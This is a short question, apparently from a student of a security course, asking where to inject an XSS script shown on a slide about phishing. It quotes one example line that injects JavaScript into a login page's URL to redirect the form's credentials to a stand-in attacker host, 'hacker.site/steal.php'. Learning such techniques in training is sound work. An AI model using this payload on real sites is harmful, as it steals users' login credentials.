In the section covering XSS for Advanced Phishing Attacks (Section 4.5.2.3, slide 150) they show a script for stealing creds from a login page. They said we simply inject the script. My question is, where do we inject it? Just into the URL like so?
<victim_url>/login#<vulnerable_field>=document.forms[0].action=“https://hacker.site/steal.php”;